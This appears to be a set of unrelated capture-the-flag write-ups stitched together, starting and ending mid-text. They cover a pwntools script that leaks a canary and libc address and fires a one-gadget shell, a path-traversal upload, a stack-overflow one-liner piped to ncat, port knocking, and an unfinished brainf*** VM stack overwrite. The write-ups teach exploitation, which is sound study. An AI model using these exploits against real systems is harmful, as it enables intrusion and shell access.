0x00000000001e7000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ff893046000 0x00007ff893049000 0x00000000001ea000 rw- /usr/lib/x86_64-linux-gnu/libc-2.31.so0x00007ff893049000 0x00007ff89304f000 0x0000000000000000 rw- 0x00007ff89305e000 0x00007ff89305f000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so0x00007ff89305f000 0x00007ff893082000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so0x00007ff893082000 0x00007ff89308a000 0x0000000000024000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so0x00007ff89308b000 0x00007ff89308c000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so0x00007ff89308c000 0x00007ff89308d000 0x000000000002d000 rw- /usr/lib/x86_64-linux-gnu/ld-2.31.so0x00007ff89308d000 0x00007ff89308e000 0x0000000000000000 rw- 0x00007fff0882a000 0x00007fff0884b000 0x0000000000000000 rw- [stack]0x00007fff089c7000 0x00007fff089cb000 0x0000000000000000 r-- [vvar]0x00007fff089cb000 0x00007fff089cd000 0x0000000000000000 r-x [vdso]0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]```Finally, I was able to put all of this together into a working exploit script. I leak the canary and a libc address from the stack, then send input designed to get my onegadget to pop a shell. The exploit does not work 100% of the time, but it should succeed more often than not.```from pwn import * #target = process('./guess') #pid = gdb.attach(target, "\nb *main+356\n set disassembly-flavor intel\ncontinue") target = remote('193.57.159.27', 55206)elf = ELF('guess') libc = ELF('libc6_2.31-0ubuntu9.2_amd64.so')count = 0 i = 1depth = 0addition = 0canary = 0while True: print(target.recvuntil(b'(0-7)?')) target.sendline(str(0x20 + i).encode('ascii')) print(target.recvuntil(b'guess:')) my_guess = 0x100 // 2 + addition print(hex(my_guess)) target.sendline(str(my_guess).encode('ascii')) result = target.recvuntil(b'Which') depth += 1 if b'low' in result: if depth == 7: my_guess += 1 canary += (0x10 ** (2 * i)) * my_guess print(hex(canary)) i += 1 depth = 0 addition = 0 else: addition += 0x100 // (2 ** (depth + 1)) elif b'high' in result: if depth == 7: my_guess -= 1 canary += (0x10 ** (2 * i)) * my_guess print(hex(canary)) i += 1 depth = 0 addition = 0 else: addition += -1 * (0x100 // (2 ** (depth + 1))) else: canary += (0x10 ** ( 2 * i)) * my_guess print(hex(canary)) i += 1 depth = 0 addition = 0 count += 1 if i == 8: break i = 1depth = 0addition = 0libc_leak = 0xb3 while True: print(target.recvuntil(b'(0-7)?')) target.sendline(str(0x30 + i).encode('ascii')) print(target.recvuntil(b'guess:')) my_guess = 0x100 // 2 + addition print(hex(my_guess)) target.sendline(str(my_guess).encode('ascii')) result = target.recvuntil(b'Which') depth += 1 print(depth) if b'low' in result: if depth == 7: my_guess += 1 libc_leak += (0x10 ** (2 * i)) * my_guess print(hex(libc_leak)) i += 1 depth = 0 addition = 0 else: addition += 0x100 // (2 ** (depth + 1)) elif b'high' in result: if depth == 7: my_guess -= 1 libc_leak += (0x10 ** (2 * i)) * my_guess print(hex(libc_leak)) i += 1 depth = 0 addition = 0 else: addition += -1 * (0x100 // (2 ** (depth + 1))) if my_guess == 0x1: my_guess = 0 libc_leak += (0x10 ** (2 * i)) * my_guess print(hex(libc_leak)) i += 1 depth = 0 addition = 0 else: libc_leak += (0x10 ** (2 * i)) * my_guess print(hex(libc_leak)) i += 1 depth = 0 addition = 0 count += 1 if i == 6: break print('i used', count, 'guesses')print('canary is', hex(canary))print('libc leak is', hex(libc_leak)) #target.interactive()for i in range(8 - count): print(target.recvuntil(b'(0-7)?', timeout=1)) target.sendline(str(0x20).encode('ascii')) print(target.recvuntil(b'guess:', timeout=1)) my_guess = 0 print(hex(my_guess)) target.sendline(str(my_guess).encode('ascii')) print(target.recvuntil(b'game?')) libc_start_main = libc_leak - 243libc_base = libc_start_main - libc.symbols['__libc_start_main']print('libc start main is at', hex(libc_start_main)) onegadget1 = libc_base + 0xe6e73onegadget2 = libc_base + 0xe6e76onegadget3 = libc_base + 0xe6e79 payload = b'\x00' * 24 payload += p64(canary)payload += p64(libc_base + 0x1ee100) payload += p64(onegadget3) target.sendline(payload) target.interactive() ```And here are the results:```knittingirl@piglet:~/CTF/RaRCTF/guessing$ python3 guess_payload_final.py [+] Opening connection to 193.57.159.27 on port 55206: Done[*] '/home/knittingirl/CTF/RaRCTF/guessing/guess' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] '/home/knittingirl/CTF/RaRCTF/guessing/libc6_2.31-0ubuntu9.2_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledb'\nWhich number are you guessing (0-7)?'b' Enter your guess:'0x80b' number are you guessing (0-7)?'b' Enter your guess:'0xc0b' number are you guessing (0-7)?'b' Enter your guess:'0xe00xe000b' number are you guessing (0-7)?'b' Enter your guess:'0x80b' number are you guessing (0-7)?'b' Enter your guess:'0x40b' number are you guessing (0-7)?'b' Enter your guess:'0x20b' number are you guessing (0-7)?'b' Enter your guess:'0x30b' number are you guessing (0-7)?'b' Enter your guess:'0x28b' number are you guessing (0-7)?'b' Enter your guess:'0x2cb' number are you guessing (0-7)?'b' Enter your guess:'0x2e0x2fe000b' number are you guessing (0-7)?'b' Enter your guess:'0x80b' number are you guessing (0-7)?'b' Enter your guess:'0x40b' number are you guessing (0-7)?'b' Enter your guess:'0x20b' number are you guessing (0-7)?'b' Enter your guess:'0x10b' number are you guessing (0-7)?'b' Enter your guess:'0x8b' number are you guessing (0-7)?'b' Enter your guess:'0xcb' number are you guessing (0-7)?'b' Enter your guess:'0xa0xa2fe000b' number are you guessing (0-7)?'b' Enter your guess:'0x80b' number are you guessing (0-7)?'b' Enter your guess:'0xc0b' number are you guessing (0-7)?'b' Enter your guess:'0xe0b' number are you guessing (0-7)?'b' Enter your guess:'0xd0b' number are you guessing (0-7)?'b' Enter your guess:'0xc8b' number are you guessing (0-7)?'b' Enter your guess:'0xc4b' number are you guessing (0-7)?'b' Enter your guess:'0xc60xc60a2fe000b' number are you guessing (0-7)?'b' Enter your guess:'0x80b' number are you guessing (0-7)?'b' Enter your guess:'0x40b' number are you guessing (0-7)?'b' Enter your guess:'0x20b' number are you guessing (0-7)?'b' Enter your guess:'0x10b' number are you guessing (0-7)?'b' Enter your guess:'0x18b' number are you guessing (0-7)?'b' Enter your guess:'0x14b' number are you guessing (0-7)?'b' Enter your guess:'0x120x11c60a2fe000b' number are you guessing (0-7)?'b' Enter your guess:'0x80b' number are you guessing (0-7)?'b' Enter your guess:'0x40b' number are you guessing (0-7)?'b' Enter your guess:'0x60b' number are you guessing (0-7)?'b' Enter your guess:'0x50b' number are you guessing (0-7)?'b' Enter your guess:'0x58b' number are you guessing (0-7)?'b' Enter your guess:'0x540x5411c60a2fe000b' number are you guessing (0-7)?'b' Enter your guess:'0x80b' number are you guessing (0-7)?'b' Enter your guess:'0x40b' number are you guessing (0-7)?'b' Enter your guess:'0x20b' number are you guessing (0-7)?'b' Enter your guess:'0x10b' number are you guessing (0-7)?'b' Enter your guess:'0x18b' number are you guessing (0-7)?'b' Enter your guess:'0x14b' number are you guessing (0-7)?'b' Enter your guess:'0x120x125411c60a2fe000b' number are you guessing (0-7)?'b' Enter your guess:'0x801b' number are you guessing (0-7)?'b' Enter your guess:'0xc02b' number are you guessing (0-7)?'b' Enter your guess:'0xa03b' number are you guessing (0-7)?'b' Enter your guess:'0x9040x90b3b' number are you guessing (0-7)?'b' Enter your guess:'0x801b' number are you guessing (0-7)?'b' Enter your guess:'0x402b' number are you guessing (0-7)?'b' Enter your guess:'0x203b' number are you guessing (0-7)?'b' Enter your guess:'0x304b' number are you guessing (0-7)?'b' Enter your guess:'0x285b' number are you guessing (0-7)?'b' Enter your guess:'0x2c6b' number are you guessing (0-7)?'b' Enter your guess:'0x2e70x2d90b3b' number are you guessing (0-7)?'b' Enter your guess:'0x801b' number are you guessing (0-7)?'b' Enter your guess:'0x402b' number are you guessing (0-7)?'b' Enter your guess:'0x203b' number are you guessing (0-7)?'b' Enter your guess:'0x104b' number are you guessing (0-7)?'b' Enter your guess:'0x185b' number are you guessing (0-7)?'b' Enter your guess:'0x146b' number are you guessing (0-7)?'b' Enter your guess:'0x1670x152d90b3b' number are you guessing (0-7)?'b' Enter your guess:'0x801b' number are you guessing (0-7)?'b' Enter your guess:'0x402b' number are you guessing (0-7)?'b' Enter your guess:'0x603b' number are you guessing (0-7)?'b' Enter your guess:'0x704b' number are you guessing (0-7)?'b' Enter your guess:'0x785b' number are you guessing (0-7)?'b' Enter your guess:'0x746b' number are you guessing (0-7)?'b' Enter your guess:'0x7670x76152d90b3b' number are you guessing (0-7)?'b' Enter your guess:'0x801b' number are you guessing (0-7)?'b' Enter your guess:'0x402b' number are you guessing (0-7)?'b' Enter your guess:'0x603b' number are you guessing (0-7)?'b' Enter your guess:'0x704b' number are you guessing (0-7)?'b' Enter your guess:'0x785b' number are you guessing (0-7)?'b' Enter your guess:'0x7c6b' number are you guessing (0-7)?'b' Enter your guess:'0x7e70x7f76152d90b3i used 7 guessescanary is 0x125411c60a2fe000libc leak is 0x7f76152d90b3b' number are you guessing (0-7)?'b' Enter your guess:'0x0b' You got it!\nSo, what did you think of my game?'libc start main is at 0x7f76152d8fc0[*] Switching to interactive mode $ lsbinbootdevetcflag.txtguesshomeliblib32lib64libx32mediamntoptprocrootrunsbinsrvsystmpusrvar$ cat flag.txtrarctf{4nd_th3y_s41d_gu3ss1ng_1snt_fun!!_c9cbd665}$ ```Thanks for reading!
# UIUCTF 2021 - Doot Doot (Beginner) Writeup* Type - Miscellaneous* Name - Doot Doot* Points - 50 ## Description```From the creator of "Shrek but only when ANYONE says 'E'", we bring you the most-viewed-YouTube video of all time: https://en.wikipedia.org/wiki/List_of_most-viewed_YouTube_videos#Top_videos https://www.youtube.com/watch?v=zNXl9fqGX40 author: GrayWalf and ian5v``` ## WriteupWhen you go to the link, one of the comments says `the flag is in the yellow text, and occurs once in every instance of the yellow text`. The video was almost 9 hours total in length, but I knew I'd only have to scour one instance of the yellow text. I considered various ways of approaching it, including integrating some OCR (Optical Character Recognition) program in YouTube and have it tell me all the text so I could do a simple grep search. However, the rolling text was Star Wars-style (so slanted), plus I wasn't quite sure how to integrate it, so I just went for it. Luckily, I found the text about 10 minutes in! ![](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/dootdoot/image.png) **Flag:** `uiuctf{doot_d0ot_do0t_arent_you_tired_of_the_int4rnet?}` ## Real-World ApplicationI think the biggest real-world application for this is that sometimes, nothing beats just grinding. I could've found a way to integrate OCR into it and automate the process, but it honestly was much quicker watching the video and skipping every 5 seconds.
# Secure Uploader - Category: Web- Points: 150- Author: clubby789 ```asciiarmorA new secure, safe and smooth uploader!``` ## Exploring We have been given the source code and Dockerfile again, meaning that we could test the challenge locally again: ```secureuploader│ Dockerfile│└───app │ app.py │ database.db │ start.sh │ └───uploads .gitkeep``` Fantastic, let us first check the Dockerfile: ```dockerfileFROM python:3-alpineRUN pip install --no-cache-dir flask gunicorn RUN addgroup -S ctf && adduser -S ctf -G ctf COPY app /appCOPY flag.txt /flagWORKDIR /app RUN chown -R ctf:ctf /app && chmod -R 770 /appRUN chown -R root:ctf /app && \ chmod -R 770 /app USER ctfENTRYPOINT ["/app/start.sh"] ``` Most importantly, we know where the `flag` file is located again! The `start.sh` script seems to be called: ```bash#!/bin/shgunicorn --chdir /app app:app -w 4 --threads 4 -b 0.0.0.0:1337``` Brilliant, gunicorn is used to host servers, this will yet again help with local testing. Time to check out the actual app: ```pythonfrom flask import Flask, request, redirect, gimport sqlite3import osimport uuid app = Flask(__name__) SCHEMA = """CREATE TABLE files (id text primary key,path text);""" def db(): g_db = getattr(g, '_database', None) if g_db is None: g_db = g._database = sqlite3.connect("database.db") return g_db @app.before_first_requestdef setup(): os.remove("database.db") cur = db().cursor() cur.executescript(SCHEMA)``` Going part-by-part, we can see that an SQLite database structure is provided in the variable `SCHEMA`, where the table's name is `files` and it has two columns `id` (which is also the primary key) and `path`. The function `db()` returns an object for database interaction, and the `@app.before_first_request` is self-explanatory. On start, remove the database and create it again (essentially starting fresh). Moving on! ```[email protected]('/')def hello_world(): return """<html><body><form action="/upload" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="file"> <input type="submit" value="Upload File" name="submit"></form> </body></html>""" @app.route('/upload', methods=['POST'])def upload(): if 'file' not in request.files: return redirect('/') file = request.files['file'] if "." in file.filename: return "Bad filename!", 403 conn = db() cur = conn.cursor() uid = uuid.uuid4().hex try: cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,)) except sqlite3.IntegrityError: return "Duplicate file" conn.commit() file.save('uploads/' + file.filename) return redirect('/file/' + uid)``` In the basic `/` route we only have a simple upload form, nothing fancy. The `/upload` route uses the `upload()` function, where we can see that no dots are allowed in the filenames, preventing us from the performing any `directory traversal` attacks. After the "dot check" is performed an `insert` query is performed, and our file is entered into the database, through what looks like a safe parameter substitution. The files are saved in the `uploads/` directory and then we are redirected to our file in `/file/+uid`. But what is actually exploitable? ```[email protected]('/file/<id>')def file(id): conn = db() cur = conn.cursor() cur.execute("select path from files where id=?", (id,)) res = cur.fetchone() if res is None: return "File not found", 404 with open(os.path.join("uploads/", res[0]), "r") as f: return f.read() if __name__ == '__main__': app.run(host='0.0.0.0') ``` After navigating to a `/file/<id>` part of the app, the `file()` function is executed, where most notably we can see the `os` package being used! ```pythonos.path.join("uploads/",res[0],"r")``` Our input (being the filename) goes in as `res[0]`, but what does `os.path.join` actually do? Best to consult the [docs](https://docs.python.org/3/library/os.path.html#os.path.join): ```asciiarmorJoin one or more path components intelligently. The return value is the concatenation of path and any members of *paths with exactly one directory separator following each non-empty part except the last, meaning that the result will only end in a separator if the last part is empty. If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.``` Time to move on to exploitation. ## Exploit Remember the `Dockerfile`? ```dockerfileCOPY flag.txt /flag``` The flag file is copied to the root directory of the system `/` and renamed to not have any dots in the name ie. `/flag`. And if we remember a really important part of the documentation: ```asciiarmorIf a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.``` The absolute path to `/flag` is `/flag`. Time to test the exploit: ![](./page.png) Time to upload and manipulate the filename in Burpsuite: ![](./exploit.png) Hit `forward` and we'll see: ![](./flag.png) There we go! Always read the documentation properly! ```rarctf{4lw4y5_r34d_th3_d0c5_pr0p3rly!-71ed16}```
# STACKOVERFLOW```DescriptionWelcome to Stack Overflow! Get answers to all your programming questions right here! Attachmentshttps://imaginaryctf.org/r/E795-stackoverflow nc chal.imaginaryctf.org 42001``` - File : [stackoverflow](../attachements/stackoverflow/stackoverflow) Upon connection via ncat we obtain a greeting message and we have to input text :```Welcome to StackOverflow! Before you start ~~copypasting code~~ asking good questions, we would like you to answer a question. What's your favorite color?aThanks! Now onto the posts!ERROR: FEATURE NOT IMPLEMENTED YET``` So we need to type the right sequence of char to obtain the flag. By inspecting the binary we see a **cmp **instruction after the **scanf** instruction :```[...]│ 0x00000825 e866feffff call sym.imp.__isoc99_scanf│ 0x0000082a 488d3d750100. lea rdi, str.Thanks__Now_onto_the_posts_ ; 0x9a6 ; "Thanks! Now onto the posts!"│ 0x00000831 e82afeffff call sym.imp.puts│ 0x00000836 48817df86674. cmp qword [var_8h], 0x69637466│ ┌─< 0x0000083e 751f jne 0x85f│ │ 0x00000840 488d3d7b0100. lea rdi, str.DEBUG_MODE_ACTIVATED. ; 0x9c2 ; "DEBUG MODE ACTIVATED."│ │ 0x00000847 e814feffff call sym.imp.puts│ │ 0x0000084c 488d3d850100. lea rdi, str._bin_sh ; 0x9d8 ; "/bin/sh"│ │ 0x00000853 b800000000 mov eax, 0│ │ 0x00000858 e813feffff call sym.imp.system│ ┌──< 0x0000085d eb0c jmp 0x86b│ ││ ; CODE XREF from main @ 0x83e│ │└─> 0x0000085f 488d3d7a0100. lea rdi, str.ERROR:_FEATURE_NOT_IMPLEMENTED_YET ; 0x9e0 ; "ERROR: FEATURE NOT IMPLEMENTED YET"│ │ 0x00000866 e8f5fdffff call sym.imp.puts│ │ ; CODE XREF from main @ 0x85d│ └──> 0x0000086b b800000000 mov eax, 0│ 0x00000870 c9 leave└ 0x00000871 c3 ret``` we need to avoid the **jne** at **0x83e** in order to get to the **system('/bin/sh')** at **0x858** With gdb we see that the comparison is done between whatever is written at rbp-0x8 and 0x69637466 (= "ictf" in ascii ) :```=> 0x555555400836 <main+124>: cmp QWORD PTR [rbp-0x8],0x69637466```at **rbp-0x8** is written **BBBB** we must rewrite it with a buffer overflow :```[-------------------------------------code-------------------------------------] 0x555555400825 <main+107>: call 0x555555400690 <__isoc99_scanf@plt> 0x55555540082a <main+112>: lea rdi,[rip+0x175] # 0x5555554009a6 0x555555400831 <main+119>: call 0x555555400660 <puts@plt>=> 0x555555400836 <main+124>: cmp QWORD PTR [rbp-0x8],0x69637466 0x55555540083e <main+132>: jne 0x55555540085f <main+165> 0x555555400840 <main+134>: lea rdi,[rip+0x17b] # 0x5555554009c2 0x555555400847 <main+141>: call 0x555555400660 <puts@plt> 0x55555540084c <main+146>: lea rdi,[rip+0x185] # 0x5555554009d8[------------------------------------stack-------------------------------------]0000| 0x7fffffffe100 --> 0x42424242 ('AAAA')0008| 0x7fffffffe108 --> 0x555555400880 (<__libc_csu_init>: push r15)0016| 0x7fffffffe110 --> 0x0 0024| 0x7fffffffe118 --> 0x5555554006b0 (<_start>: xor ebp,ebp)0032| 0x7fffffffe120 --> 0x7fffffffe220 --> 0x1 0040| 0x7fffffffe128 --> 0x42424242 ('BBBB')0048| 0x7fffffffe130 --> 0x0 0056| 0x7fffffffe138 --> 0x7ffff7dfab25 (<__libc_start_main+213>: mov edi,eax)[------------------------------------------------------------------------------]``` Here I typed **AAAA** ( @0x7fffffffe100 on the stack ) and we need to overflow **BBBB** ( @0x7fffffffe128 ) with **ictf** `0x7fffffffe128 - 0x7fffffffe100 = 40 buffer chars` `+ ftci` (backward because of little-endianness ) The solution is :```$ ( python -c "print('A'*40+'ftci')" ; cat ) | ncat chal.imaginaryctf.org 42001 ``` ``` Welcome to StackOverflow! Before you start ~~copypasting code~~ asking good questions, we would like you to answer a question. What's your favorite color?Thanks! Now onto the posts!DEBUG MODE ACTIVATED.lsflag.txtruncat flag.txtictf{4nd_th4t_1s_why_y0u_ch3ck_1nput_l3ngth5_486b39aa}``` flag : `ictf{4nd_th4t_1s_why_y0u_ch3ck_1nput_l3ngth5_486b39aa}`
## Knock Knock *** We recently found a private SSH key that will allow us to login in the attached machine. However, we can't seem to be able to login through SSH. Can you help us out? No brute force is required.*** .ova and id_rsa.key files are available for download. TLDRregister ova on VBscan for open portslogin by ftp (knocking for ssh)nc on 7000,8000,9000 ports generate pub.key from priv.key from descriptionlogin by username from public key After downloading a registering .ova on virtualbox I have tried some default login/password but none of known works. I belive that we have to connect to Virtual Machine by network so lets create a NAT network with DHCP Server on virtual box ![](https://i.ibb.co/hFKLfXZ/dhcp.png) so the address of VM is 192.168.56.101 now and we can scan some ports. Result of nmap is open 21/FTP port. After connection we can download a flag file but it is fake flag. ![](https://i.ibb.co/tZNF8gN/ftp.png) Taking hint into consideration we can perform knocking by:```nc -v 192.168.56.101 7000 nc -v 192.168.56.101 8000 nc-v 192.168.56.101 9000``` After that additional scanning shows 22/ssh open port so that was a port-knocking. We have a key so I have unsuccesfully tried to login by ```ssh -i key_from_desc 192.168.56.101 ``` but it doesnt work. My thought was to retrive some public key from private by command ```ssh-keygen -y -f ~/.ssh/id_rsa > ~/.ssh/id_rsa.pub``` and that works ```ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWX0ICjTiJP6pGEojST+D77hFFmH06No5HOZIdC9+XMLB6ZO1lJRuWkF0qf/UEqyj7Xbb/ZW6q832y5fHPHm0m0EuZVG2kiC83XFECe9NHQNY18HSVUtfAtbKpbQIUmp7a3bayrmM6+iE/aZpSa1RFXHICcfqt6WQeF2EnKRT8aEdt4Ozoc8Ab3gdBMDftqFZsKa6tP3WLNRzkETOrTzAErn5O3CgprYFlz9JO2d7Ca0+nosEvVoYGBQrKQaMkkkWzaTtTsVAU37QN7a7YFXDjdd2CClPJTH93Y/XmTcNDPAHlpf9v4oxfe8CRgh9CWFM8rKuY8vS1yHc7TR/3kXILqP1949OUxscynJ4wPgyhL0IK5shoy4oJGwawrILQN5AFsm4UyS7uRIaFC/UuChBx7T5lDvKJqsuscvw37h5HulFH7i6AVk0msz393zco/ZPHHFlB88weMMFRlecDVTzZdoKVPtkuL21uM+v+CqQ3CwTEOC08b7OClEvWuH1gB8M= ctf@knockknock``` now we have an username so ``` ssh -i key_from_desc [email protected] works, flag is in / directory. ```
The link to the original writeup is [here](https://github.com/knittingirl/CTF-Writeups/tree/main/pwn_challs/RaRCTF/boring_flag_runner), please check it out there to see the downloadables from the challenge and my solves as standalone python scripts. # boring-flag-runner The description for this challenge was as follows: *'willwam writes pwn?' - fizzbuzz101* *Note: This challenge has the same binary as boring-flag-checker**Note 2: please use the docker to test your solution locally, there should be no bruteforce required on remote* The challenge was worth 300 points, and was rated at medium difficulty. However, it only had 13 solves at the end of competition. Personally, I think that most of the difficulty on this one was in the reverse engineering, since the actual implementation of my exploit was fairly straightforward. This is also my first experience with a virtual machine exploit, so that was fun! **TL;DR Solution:** Figure out that the program is taking a user-provided payload and executing it as a type of brainf*** interpreter. Design a payload that modifies the stack to set rbp to a section of writable memory, rbp+0x8 to a onegadget, and pop a shell when the program exits. ## Gathering Information Simply connecting to the remote instance does not give us much information:```knittingirl@piglet:~/CTF/RaRCTF/guessing$ nc 193.57.159.27 28643enter your program: aaaaaaaaaaaaaaaaaaaaaaaaaaa```The decompilation of the program in Ghidra gives us a lot more to work with. Please note that this only relates to the binary; some of the other files in the docker are very relevant to behavior and are discussed later. So, if a valid filename is passed as a command line argument, it will be opened and read into a stack variable. Here is the cleaned-up decompilation:``` else { opened_file = fopen(param_2[1],"rb"); if ((opened_file == (FILE *)0x0) && (opened_file = fopen("prog.bin","rb"), opened_file == (FILE *)0x0)) { puts("Couldn\'t open program."); /* WARNING: Subroutine does not return */ exit(-1); } } file_size_var = file_size(opened_file,&actual_file_size,&actual_file_size); if (((file_size_var == -1) || (file_buffer = (byte *)calloc(actual_file_size,1), file_buffer == (byte *)0x0)) || (sVar1 = fread(file_buffer,1,actual_file_size,opened_file), sVar1 != actual_file_size)) { puts("Couldn\'t read program."); /* WARNING: Subroutine does not return */ exit(-1); } fclose(opened_file);```In terms of actual behavior, the program appears to be stepping through the contents of the file character by character. Based on what each character is, one of eight switch cases is performed. At this point, my teammate, who was working on the reverse engineering challenge for this same binary, identified that this was probably a virtual machine that is emulating the brainf*** language (attempting to keep this safe for work folks, you know what I mean!). That language has exactly eight characters, and when you have a look ``` while ((ulong)(long)program_counter < actual_file_size) { if (loop_back == 0) { weird = (byte)((char)file_buffer[program_counter] >> 7) >> 5; /* <]>[,.-+ */ switch((file_buffer[program_counter] + weird & 7) - weird) { case 0: data_pointer = data_pointer + 1; break; case 1: if (data[data_pointer] == 0) { paranthesis_records[function_return_helper + -1] = 0; function_return_helper = function_return_helper + -1; } else { program_counter = paranthesis_records[function_return_helper + -1]; } break; case 2: data_pointer = data_pointer + -1; break; case 3: if (data[data_pointer] == 0) { loop_back = 1; } else { paranthesis_records[(int)function_return_helper] = program_counter; function_return_helper = function_return_helper + '\x01'; } break; case 4: if (local_28 == 0) { read(0,user_input,0x37); } data[data_pointer] = user_input[local_28]; local_28 = local_28 + 1; break; case 5: putchar((int)(char)data[data_pointer]); break; case 6: data[data_pointer] = data[data_pointer] - 1; break; case 7: data[data_pointer] = data[data_pointer] + 1; break; default: goto switchD_001014f2_caseD_8; } } else { weird = (byte)((char)file_buffer[program_counter] >> 7) >> 5; if ((byte)((file_buffer[program_counter] + weird & 7) - weird) == '\x03') { loop_back = loop_back + 1; } else { weird = (byte)((char)file_buffer[program_counter] >> 7) >> 5; if ((byte)((file_buffer[program_counter] + weird & 7) - weird) == '\x01') { loop_back = loop_back + -1; } } } program_counter = program_counter + 1; } free(file_buffer);switchD_001014f2_caseD_8: return 0;}```Based on the entry in the esolangs wiki, here are the mappings of each character to its corresponding actions:```> Move the pointer to the right< Move the pointer to the left+ Increment the memory cell at the pointer- Decrement the memory cell at the pointer. Output the character signified by the cell at the pointer, Input a character and store it in the cell at the pointer[ Jump past the matching ] if the cell at the pointer is 0] Jump back to the matching [ if the cell at the pointer is nonzero```The virtual machine in the binary is basically using bytes of the stack as brainf***'s concept of cells. In this language, each cell can effectively be manipulated as much as desired, albeit with very low level instructions. In addition, this machine's implementation does not do any type of bounds check of which parts of the stack I am allowed to manipulate. As a result, this introduces the possibility of format string-like leaks of addresses stored in the stack, as well direct overwrites of the stack pointer to create a ROPchain. Now, the switch case statement is actually checking the last nibble (hex digit) of the hexadecimal representation of each character in the file. If that nibble is 0, it will go to case 0, if it's 1, it goes to case 1, etc. As a result, it's not actually interpreting typical brainf*** characters, and we need to map them onto something that works. I created a simple python script to take code written in the bf language, convert it to what this virtual machine will accept, and write it to a file.```file1 = open('sample_program', 'wb')hello_world = '++++++++[>++++[>++>+++>+++>+<<<<-]>+>+>->>+[<]<-]>>.>---.+++++++..+++.>>.<-.<.+++.------.--------.>>+.>++.' bf_chars = '>]<[,.-+' plain = b'\x40\x41\x42\x43\x44\x45\x46\x47'for char in hello_world: index = bf_chars.find(char) file1.write(chr(plain[index]).encode('ascii')) file1.close()```If we run the basic binary with that payload, we get Hello World! output to the terminal.```knittingirl@piglet:~/CTF/RaRCTF/boring_flag_runner$ ./boring-flag-checker sample_program Hello World!```Now, the actual binary is not behaving quite like the remote instance; there is no prompt to "enter your program" during its execution. The start.sh script indicates that that the getprog.py script runs before boring-flag-checker. getprog.py itself is very simple; it has the "enter your program" prompt, it takes user input, and it saves a maximum of 4000 bytes of that input to the filename indicated by a command-line argument. When boring-flag-checker runs, it takes that file as an argument. As a result, we should be able to pass in any modified brainf*** script we like, and it should be run by the binary```#!/bin/sh cd /challengeFILENAME=$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 16)python3 getprog.py /tmp/$FILENAMEtimeout 10 ./boring-flag-checker /tmp/$FILENAME > /dev/nullrm /tmp/$FILENAME``````import sys prog = input("enter your program: ").encode("latin-1")open(f"{sys.argv[1]}", "wb").write(prog[:4000])```The last hiccup is that when I attempt to pass my Hello World! script to the remote instance, seemingly nothing happens:```knittingirl@piglet:~/CTF/RaRCTF/boring_flag_runner$ nc 193.57.159.27 28643enter your program: GGGGGGGGC@GGGGC@GG@GGG@GGG@GBBBBFA@G@G@F@@GCBABFA@@E@FFFEGGGGGGGEEGGGE@@EBFEBEGGGEFFFFFFEFFFFFFFFE@@GE@GGE```Eventually, I realized that the problem was in the start.sh script; it is piping my output to /dev/null rather than letting me see it. As a result, while I can write pretty much whatever exploit script I want, I will not be able to get any visible leaks.```timeout 10 ./boring-flag-checker /tmp/$FILENAME > /dev/null``` ## Planning the Exploit So, we effectively have complete control over the stack, albeit with no way to leak data to the console. When we run the binary by itself in GDB, we see that rbp itself is empty, rbp+0x8 contains a libc address, and rbp+0x10 contains another libc address.```gef➤ x/gx $rbp0x7fffffffdfd0: 0x0000000000000000gef➤ x/gx $rbp+0x80x7fffffffdfd8: 0x00007ffff7ded0b3gef➤ x/gx $rbp+0x100x7fffffffdfe0: 0x00007ffff7ffc620gef➤ x/5i 0x00007ffff7ded0b3 0x7ffff7ded0b3 <__libc_start_main+243>: mov edi,eax 0x7ffff7ded0b5 <__libc_start_main+245>: call 0x7ffff7e0fbc0 <__GI_exit> 0x7ffff7ded0ba <__libc_start_main+250>: mov rax,QWORD PTR [rsp+0x8] 0x7ffff7ded0bf <__libc_start_main+255>: lea rdi,[rip+0x18fda2] # 0x7ffff7f7ce68 0x7ffff7ded0c6 <__libc_start_main+262>: mov rsi,QWORD PTR [rax]```At this point, I set a breakpoint for the very end of the main function, then checked the value of the rsi and rdx registers at that point. As I discussed in the writeup for "The Guessing Game" from this CTF (https://github.com/knittingirl/CTF-Writeups/tree/main/pwn_challs/RaRCTF/Guessing_Game), this version of libc has a onegadget that should be satisfied if the value or contents of rsi are 0, and the value or contents of rdx is 0. Both are true at the point that this gadget would be triggered. We would also need to set the value in rbp such that it - 0x78 is a writable address.```knittingirl@piglet:~/CTF/RaRCTF/guessing$ one_gadget libc6_2.31-0ubuntu9.2_amd64.so 0xe6e73 execve("/bin/sh", r10, r12)constraints: [r10] == NULL || r10 == NULL [r12] == NULL || r12 == NULL 0xe6e76 execve("/bin/sh", r10, rdx)constraints: [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL 0xe6e79 execve("/bin/sh", rsi, rdx)constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL```As a result, the basic idea is to modify the last 3 bytes of the value in rbp+0x8 to make it equal a onegadget. Then, since libc addresses are nearby on the stack, we can set rbp to equal one of them, then increase the address slightly to make it equal to somewhere in the writable section. All of this is possible within the brainf*** language. ## Writing the Exploit Firstly, modifying the value in rbp+0x8 is relatively simple. We need to bring the data pointer up to the lowest byte of the address, which can be accomplished by moving the pointer right the appropriate number of bytes, in this case, 0x130 + 8. Now, while brainf*** does not really provide a sophisticated mechanism for addition or subtraction, it does give us increments and decrements that can be repeated for the same effect on single bytes. For reference, example values for our addresses are:```__libc_start_main+243 is at 0x7ffff7ded0b3The onegadget is at 0x7ffff7eace79``` Since the last byte of our libc addresses will always be the same (it is originally __libc_start_main+243, ending in b3, and we want a onegadget that ends in 79), we can simply decrement the byte 58 (0x3a) times. The 